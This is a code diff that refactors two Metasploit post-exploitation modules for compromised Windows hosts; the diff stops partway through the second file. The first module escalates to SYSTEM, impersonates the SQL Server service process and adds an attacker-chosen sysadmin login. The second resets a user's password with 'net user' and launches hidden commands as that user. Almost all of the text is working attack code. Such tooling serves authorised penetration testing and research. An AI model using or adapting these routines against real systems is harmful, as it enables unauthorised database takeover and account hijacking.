|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Windows::MSSQL
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
|
||||||
|
@ -35,440 +37,114 @@ class Metasploit3 < Msf::Post
|
||||||
[
|
[
|
||||||
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
|
||||||
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
|
||||||
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
|
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
|
||||||
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
|
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
# Set verbosity level
|
|
||||||
verbose = datastore['VERBOSE'].to_s.downcase
|
|
||||||
|
|
||||||
# Set instance name (if specified)
|
# Set instance name (if specified)
|
||||||
instance = datastore['INSTANCE'].to_s.upcase
|
instance = datastore['INSTANCE'].to_s
|
||||||
|
|
||||||
# Display target
|
# Display target
|
||||||
print_status("Running module against #{sysinfo['Computer']}")
|
print_status("Running module against #{sysinfo['Computer']}")
|
||||||
|
|
||||||
# Get LocalSystem privileges
|
|
||||||
system_status = givemesystem
|
|
||||||
if system_status[0]
|
|
||||||
|
|
||||||
# Check if a SQL Server service is running
|
|
||||||
service_instance = check_for_sqlserver(instance)
|
|
||||||
if service_instance != 0
|
|
||||||
|
|
||||||
# Identify available native SQL client
|
# Identify available native SQL client
|
||||||
sql_client = get_sql_client()
|
get_sql_client
|
||||||
if sql_client != 0
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
|
||||||
|
|
||||||
# Check if remove_login was selected
|
# Get LocalSystem privileges
|
||||||
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
|
system_status = get_system
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
|
||||||
|
begin
|
||||||
|
service = check_for_sqlserver(instance)
|
||||||
|
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
|
||||||
|
|
||||||
# Add new login
|
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
|
||||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
|
||||||
if add_login_status == 1
|
|
||||||
|
|
||||||
# Add login to sysadmin fixed server role
|
if datastore['REMOVE_LOGIN']
|
||||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
remove_login(service, instance_name)
|
||||||
else
|
else
|
||||||
|
add_login(service, instance_name)
|
||||||
if add_login_status != "userexists" then
|
|
||||||
|
|
||||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
|
||||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
|
||||||
if impersonate_status == 1
|
|
||||||
|
|
||||||
# Add new login
|
|
||||||
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
if add_login_status == 1
|
|
||||||
|
|
||||||
# Add login to sysadmin fixed server role
|
|
||||||
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
|
|
||||||
end
|
end
|
||||||
end
|
ensure
|
||||||
end
|
# attempt to return to original priv context
|
||||||
end
|
|
||||||
else
|
|
||||||
|
|
||||||
# Remove login
|
|
||||||
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
|
||||||
if remove_status == 0
|
|
||||||
|
|
||||||
# Attempt to impersonate sql server service account (for sql server 2012)
|
|
||||||
impersonate_status = impersonate_sql_user(service_instance,verbose)
|
|
||||||
if impersonate_status == 1
|
|
||||||
|
|
||||||
# Remove login
|
|
||||||
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Could not obtain LocalSystem privileges")
|
|
||||||
end
|
|
||||||
|
|
||||||
# return to original priv context
|
|
||||||
session.sys.config.revert_to_self
|
session.sys.config.revert_to_self
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def add_login(service, instance_name)
|
||||||
|
begin
|
||||||
|
add_login_status = add_sql_login(datastore['DB_USERNAME'],
|
||||||
|
datastore['DB_PASSWORD'],
|
||||||
|
instance_name)
|
||||||
|
|
||||||
## ----------------------------------------------
|
unless add_login_status
|
||||||
## Method to check if the SQL Server service is running
|
raise RuntimeError, "Retry"
|
||||||
## ----------------------------------------------
|
end
|
||||||
def check_for_sqlserver(instance)
|
rescue RuntimeError => e
|
||||||
|
if e.message == "Retry"
|
||||||
|
retry if impersonate_sql_user(service)
|
||||||
|
else
|
||||||
|
raise $!
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
print_status("Checking for SQL Server...")
|
def remove_login(service, instance_name)
|
||||||
|
begin
|
||||||
|
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
|
||||||
|
|
||||||
|
unless remove_status
|
||||||
|
raise RuntimeError, "Retry"
|
||||||
|
end
|
||||||
|
rescue RuntimeError => e
|
||||||
|
if e.message == "Retry"
|
||||||
|
retry if impersonate_sql_user(service)
|
||||||
|
else
|
||||||
|
raise $!
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def add_sql_login(dbuser, dbpass, instance)
|
||||||
|
print_status("Attempting to add new login \"#{dbuser}\"...")
|
||||||
|
query = mssql_sa_escalation(username: dbuser, password: dbpass)
|
||||||
|
|
||||||
# Get Data
|
# Get Data
|
||||||
running_services = run_cmd("net start")
|
add_login_result = run_sql(query, instance)
|
||||||
|
|
||||||
# Parse Data
|
case add_login_result
|
||||||
services_array = running_services.split("\n")
|
when '', /new login created/i
|
||||||
|
|
||||||
# Check for the SQL Server service
|
|
||||||
services_array.each do |service|
|
|
||||||
if instance == "" then
|
|
||||||
# Target default instance
|
|
||||||
if service =~ /SQL Server \(| MSSQLSERVER/ then
|
|
||||||
|
|
||||||
# Display results
|
|
||||||
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
|
|
||||||
print_good("SQL Server instance found: #{service_instance}")
|
|
||||||
return service_instance
|
|
||||||
end
|
|
||||||
else
|
|
||||||
|
|
||||||
# Target user defined instance
|
|
||||||
if service =~ /#{instance}/ then
|
|
||||||
|
|
||||||
# Display user defined instance
|
|
||||||
print_good("SQL Server instance found: #{instance}")
|
|
||||||
return instance
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fail
|
|
||||||
if instance == "" then
|
|
||||||
print_error("SQL Server instance NOT found")
|
|
||||||
else
|
|
||||||
print_error("SQL Server instance \"#{instance}\" was NOT found")
|
|
||||||
end
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for identifying which SQL client to use
|
|
||||||
## ----------------------------------------------
|
|
||||||
def get_sql_client
|
|
||||||
|
|
||||||
print_status("Checking for native client...")
|
|
||||||
|
|
||||||
# Get Data - osql
|
|
||||||
running_services1 = run_cmd("osql -?")
|
|
||||||
|
|
||||||
# Parse Data - osql
|
|
||||||
services_array1 = running_services1.split("\n")
|
|
||||||
|
|
||||||
# Check for osql
|
|
||||||
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
|
|
||||||
print_good("OSQL client was found")
|
|
||||||
return "osql"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get Data - sqlcmd
|
|
||||||
running_services = run_cmd("sqlcmd -?")
|
|
||||||
|
|
||||||
# Parse Data - sqlcmd
|
|
||||||
services_array = running_services.split("\n")
|
|
||||||
|
|
||||||
# Check for SQLCMD
|
|
||||||
services_array.each do |service|
|
|
||||||
if service =~ /SQL Server Command Line Tool/ then
|
|
||||||
print_good("SQLCMD client was found")
|
|
||||||
return "sqlcmd"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fail
|
|
||||||
print_error("No native SQL client was found")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for adding a login
|
|
||||||
## ----------------------------------------------
|
|
||||||
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to add new login #{dbuser}...")
|
|
||||||
|
|
||||||
# Setup command format to accomidate version inconsistencies
|
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "MSSQLSERVER" then
|
|
||||||
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
# User defined instance
|
|
||||||
print_status(" o defined instance: #{service_instance}") if verbose == "true"
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
add_login_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
add_login_array = add_login_result.split("\n")
|
|
||||||
|
|
||||||
# Check if user exists
|
|
||||||
add_login_array.each do |service|
|
|
||||||
|
|
||||||
if service =~ /already exists/ then
|
|
||||||
print_error("Unable to add login #{dbuser}, user already exists")
|
|
||||||
return "userexists"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# check for success/fail
|
|
||||||
if add_login_result.empty? or add_login_result =~ /New login created./
|
|
||||||
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
|
||||||
return 1
|
return true
|
||||||
|
when /already exists/i
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
|
||||||
|
when /password validation failed/i
|
||||||
|
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
|
||||||
else
|
else
|
||||||
print_error("Unable to add login #{dbuser}")
|
print_error("Unable to add login #{dbuser}")
|
||||||
print_error("Database Error:\n #{add_login_result}")
|
print_error("Database Error:\n #{add_login_result}")
|
||||||
return 0
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def remove_sql_login(dbuser, instance_name)
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for adding a login to sysadmin role
|
|
||||||
## ----------------------------------------------
|
|
||||||
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to make #{dbuser} login a sysadmin...")
|
|
||||||
|
|
||||||
# Setup command format to accomidate command inconsistencies
|
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "MSSQLSERVER" then
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
|
|
||||||
begin select 'bingo' end \""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Running command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
add_sysadmin_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
add_sysadmin_array = add_sysadmin_result.split("\n")
|
|
||||||
|
|
||||||
# Check for success
|
|
||||||
check = 0
|
|
||||||
add_sysadmin_array.each do |service|
|
|
||||||
if service =~ /bingo/ then
|
|
||||||
check = 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display results to user
|
|
||||||
if check == 1
|
|
||||||
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
# Fail
|
|
||||||
print_error("Unabled to add #{dbuser} to sysadmin role")
|
|
||||||
print_error("Database Error:\n\n #{add_sysadmin_result}")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for removing login
|
|
||||||
## ----------------------------------------------
|
|
||||||
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
|
|
||||||
|
|
||||||
print_status("Attempting to remove login \"#{dbuser}\"")
|
print_status("Attempting to remove login \"#{dbuser}\"")
|
||||||
|
query = "sp_droplogin '#{dbuser}'"
|
||||||
|
|
||||||
# Setup command format to accomidate command inconsistencies
|
remove_login_result = run_sql(query, instance_name)
|
||||||
if instance == ""
|
|
||||||
# Check default instance name
|
|
||||||
if service_instance == "SQLEXPRESS" then
|
|
||||||
# Set command here for SQLEXPRESS
|
|
||||||
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
else
|
|
||||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
end
|
|
||||||
else
|
|
||||||
# Set command here
|
|
||||||
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display debugging information
|
|
||||||
print_status("Settings:") if verbose == "true"
|
|
||||||
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
|
|
||||||
print_status(" o User: #{dbuser}") if verbose == "true"
|
|
||||||
print_status(" o Service instance: #{service_instance}") if verbose == "true"
|
|
||||||
print_status(" o User defined instance: #{instance}") if verbose == "true"
|
|
||||||
print_status("Command:") if verbose == "true"
|
|
||||||
print_status("#{sqlcommand}") if verbose == "true"
|
|
||||||
|
|
||||||
# Get Data
|
|
||||||
remove_login_result = run_cmd("#{sqlcommand}")
|
|
||||||
|
|
||||||
# Parse Data
|
|
||||||
remove_login_array = remove_login_result.split("\n")
|
|
||||||
|
|
||||||
# Check for success
|
|
||||||
check = 0
|
|
||||||
remove_login_array.each do |service|
|
|
||||||
if service =~ // then
|
|
||||||
check = 1
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Display result
|
# Display result
|
||||||
if check == 0
|
if remove_login_result.empty?
|
||||||
print_good("Successfully removed login \"#{dbuser}\"")
|
print_good("Successfully removed login \"#{dbuser}\"")
|
||||||
return 1
|
return true
|
||||||
else
|
else
|
||||||
# Fail
|
# Fail
|
||||||
print_error("Unabled to remove login #{dbuser}")
|
print_error("Unabled to remove login #{dbuser}")
|
||||||
print_error("Database Error:\n\n #{remove_login_result}")
|
print_error("Database Error:\n\n #{remove_login_result}")
|
||||||
return 0
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for executing cmd and returning the response
|
|
||||||
##
|
|
||||||
## Note: This is from one of Jabra's modules - Thanks man!
|
|
||||||
## Note: This craps out when escalating from local admin to system
|
|
||||||
## I assume it has something to do with the token, but don't
|
|
||||||
## really know.
|
|
||||||
##----------------------------------------------
|
|
||||||
def run_cmd(cmd,token=true)
|
|
||||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
|
||||||
process = session.sys.process.execute(cmd, nil, opts)
|
|
||||||
res = ""
|
|
||||||
while (d = process.channel.read)
|
|
||||||
break if d == ""
|
|
||||||
res << d
|
|
||||||
end
|
|
||||||
process.channel.close
|
|
||||||
process.close
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method for impersonating sql server instance
|
|
||||||
## ----------------------------------------------
|
|
||||||
def impersonate_sql_user(service_instance,verbose)
|
|
||||||
|
|
||||||
# Print the current user
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
|
|
||||||
# Define target user/pid
|
|
||||||
targetuser = ""
|
|
||||||
targetpid = ""
|
|
||||||
|
|
||||||
# Identify SQL Server service processes
|
|
||||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
|
||||||
session.sys.process.get_processes().each do |x|
|
|
||||||
|
|
||||||
# Search for all sqlservr.exe processes
|
|
||||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
|
||||||
|
|
||||||
# Found one
|
|
||||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
|
||||||
|
|
||||||
# Define target pid / user
|
|
||||||
if x['user'] =~ /NT SERVICE/ then
|
|
||||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
|
||||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
else
|
|
||||||
targetuser = x['user']
|
|
||||||
targetpid = x['pid']
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Attempt to migrate to target sqlservr.exe process
|
|
||||||
if targetuser == "" then
|
|
||||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
|
||||||
return 0
|
|
||||||
else
|
|
||||||
begin
|
|
||||||
# Migrating works, but I can't rev2self after its complete
|
|
||||||
print_status("Attempting to migrate to process #{targetpid}...")
|
|
||||||
session.core.migrate(targetpid.to_i)
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
blah = session.sys.config.getuid if verbose == "true"
|
|
||||||
print_status("Current user: #{blah}") if verbose == "true"
|
|
||||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
|
||||||
return 1
|
|
||||||
rescue
|
|
||||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
## ----------------------------------------------
|
|
||||||
## Method to become SYSTEM if required
|
|
||||||
## Note: This is from one of Jabra's modules.
|
|
||||||
## ----------------------------------------------
|
|
||||||
def givemesystem
|
|
||||||
|
|
||||||
# Statusing
|
|
||||||
print_status("Checking if user is SYSTEM...")
|
|
||||||
|
|
||||||
# Check if user is system
|
|
||||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
|
||||||
print_good("User is SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
# Attempt to get LocalSystem privileges
|
|
||||||
print_error("User is NOT SYSTEM")
|
|
||||||
print_status("Attempting to get SYSTEM privileges...")
|
|
||||||
system_status = session.priv.getsystem
|
|
||||||
if system_status[0]
|
|
||||||
print_good("Success!, user is now SYSTEM")
|
|
||||||
return 1
|
|
||||||
else
|
|
||||||
print_error("Unable to obtained SYSTEM privileges")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -9,17 +9,18 @@ require 'rex'
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Runas
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Windows Manage Run Command As User",
|
'Name' => "Windows Manage Run Command As User",
|
||||||
'Description' => %q{
|
'Description' => %q(
|
||||||
This module will login with the specified username/password and execute the
|
This module will login with the specified username/password and execute the
|
||||||
supplied command as a hidden process. Output is not returned by default, by setting
|
supplied command as a hidden process. Output is not returned by default, by setting
|
||||||
CMDOUT to false output will be redirected to a temp file and read back in to
|
CMDOUT to false output will be redirected to a temp file and read back in to
|
||||||
display.By setting advanced option SETPASS to true, it will reset the users
|
display.By setting advanced option SETPASS to true, it will reset the users
|
||||||
password and then execute the command.
|
password and then execute the command.
|
||||||
},
|
),
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => ['win'],
|
'Platform' => ['win'],
|
||||||
'SessionTypes' => ['meterpreter'],
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('USER', [true, 'Username to reset/login with' ]),
|
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
|
||||||
OptString.new('PASS', [true, 'Password to use' ]),
|
OptString.new('USER', [true, 'Username to login with' ]),
|
||||||
|
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||||
OptString.new('CMD', [true, 'Command to execute' ]),
|
OptString.new('CMD', [true, 'Command to execute' ]),
|
||||||
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
|
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('SETPASS', [false, 'Reset password', false])
|
OptBool.new('SETPASS', [true, 'Reset password', false])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
|
||||||
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
||||||
# need to migrate to a process that is running as
|
# need to migrate to a process that is running as
|
||||||
# system. If you don't have privs, this exits script.
|
# system. If you don't have privs, this exits script.
|
||||||
|
|
||||||
def priv_check
|
def priv_check
|
||||||
if is_system?
|
if is_system?
|
||||||
privs = session.sys.config.getprivs
|
privs = session.sys.config.getprivs
|
||||||
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
|
||||||
@isadmin = false
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
elsif is_admin?
|
|
||||||
@isadmin = true
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def reset_pass(user,pass)
|
false
|
||||||
begin
|
|
||||||
tmpout = ""
|
|
||||||
cmd = "cmd.exe /c net user " + user + " " + pass
|
|
||||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
|
||||||
while(d = r.channel.read)
|
|
||||||
tmpout << d
|
|
||||||
break if d == ""
|
|
||||||
end
|
end
|
||||||
r.channel.close
|
|
||||||
return true if tmpout.include?("successfully")
|
def reset_pass(user, password)
|
||||||
return false
|
begin
|
||||||
|
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
|
||||||
|
return tmpout.include?("successfully")
|
||||||
rescue
|
rescue
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def touch(path)
|
||||||
# set some instance vars
|
write_file(path, "")
|
||||||
@IsAdmin = false
|
cmd_exec("icacls #{path} /grant Everyone:(F)")
|
||||||
@host_info = session.sys.config.sysinfo
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
# Make sure we meet the requirements before running the script, note no need to return
|
# Make sure we meet the requirements before running the script, note no need to return
|
||||||
# unless error
|
# unless error
|
||||||
return 0 if session.type != "meterpreter"
|
return unless session.type == "meterpreter"
|
||||||
|
|
||||||
|
pi = nil
|
||||||
# check/set vars
|
# check/set vars
|
||||||
setpass = datastore["SETPASS"]
|
setpass = datastore["SETPASS"]
|
||||||
cmdout = datastore["CMDOUT"]
|
cmdout = datastore["CMDOUT"]
|
||||||
user = datastore["USER"] || nil
|
user = datastore["USER"] || nil
|
||||||
pass = datastore["PASS"] || nil
|
password = datastore["PASSWORD"] || nil
|
||||||
cmd = datastore["CMD"] || nil
|
cmd = datastore["CMD"] || nil
|
||||||
rg_adv = session.railgun.advapi32
|
domain = datastore['DOMAIN']
|
||||||
|
|
||||||
# reset user pass if setpass is true
|
if setpass
|
||||||
if datastore["SETPASS"]
|
|
||||||
print_status("Setting user password")
|
print_status("Setting user password")
|
||||||
if !reset_pass(user,pass)
|
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
|
||||||
print_error("Error resetting password")
|
|
||||||
return 0
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# set profile paths
|
system_temp = get_env('WINDIR') << '\\Temp'
|
||||||
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
|
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
|
||||||
os = @host_info['OS']
|
|
||||||
profiles_path = sysdrive + "\\Documents and Settings\\"
|
|
||||||
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
|
|
||||||
path = profiles_path + user + "\\"
|
|
||||||
outpath = path + "out.txt"
|
|
||||||
|
|
||||||
# this is start info struct for a hidden process last two params are std out and in.
|
# Create output file and set permissions so everyone can access
|
||||||
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
|
touch(outpath)
|
||||||
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
|
|
||||||
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
|
|
||||||
|
|
||||||
#set command string based on cmdout vars
|
|
||||||
cmdstr = "cmd.exe /c #{cmd}"
|
cmdstr = "cmd.exe /c #{cmd}"
|
||||||
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
||||||
# Check privs and execute the correct commands
|
|
||||||
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
|
|
||||||
# execute command and get output with a poor mans pipe
|
|
||||||
|
|
||||||
|
# Check privs and execute the correct commands
|
||||||
|
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||||
|
# execute command and get output with a poor mans pipe
|
||||||
if priv_check
|
if priv_check
|
||||||
if @isadmin #local admin
|
|
||||||
print_status("Executing CreateProcessWithLogonW...we are Admin")
|
|
||||||
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
|
|
||||||
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
|
|
||||||
else #system with correct token privs enabled
|
|
||||||
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
||||||
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
|
pi = create_process_as_user(domain, user, password, nil, cmdstr)
|
||||||
"LOGON32_PROVIDER_DEFAULT", 4)
|
if pi
|
||||||
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
|
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||||
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
|
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
|
print_status("Executing CreateProcessWithLogonW...")
|
||||||
print_error("privs to system and do not have sufficient privileges. If you elevated to")
|
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
|
||||||
print_error("system, migrate to a process that was started as system (srvhost.exe)")
|
|
